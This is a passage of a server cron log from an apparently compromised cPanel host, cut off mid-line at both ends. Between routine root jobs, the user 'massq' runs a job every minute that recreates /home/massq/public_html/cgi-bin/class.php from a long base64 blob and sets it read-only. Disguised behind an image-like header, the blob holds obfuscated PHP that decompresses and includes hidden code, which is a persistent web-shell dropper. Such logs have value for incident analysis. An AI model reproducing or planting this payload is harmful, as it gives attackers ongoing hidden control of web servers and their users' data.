"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:25:01 server CROND[2850]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:25:01 server CROND[2851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:26:01 server CROND[2961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:27:01 server CROND[3004]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 19:27:01 server CROND[3005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:28:01 server CROND[3049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:29:01 server CROND[3092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:30:01 server CROND[3291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:30:01 server CROND[3292]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 19:30:01 server CROND[3293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:30:01 server CROND[3294]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:31:01 server CROND[3405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:32:01 server CROND[3456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:33:01 server CROND[3499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:34:01 server CROND[3546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:35:01 server CROND[3614]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 19:35:01 server CROND[3616]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:35:01 server CROND[3617]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:35:01 server CROND[3618]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 19:35:01 server CROND[3615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:36:01 server CROND[3823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:37:01 server CROND[3870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:38:01 server CROND[3925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0t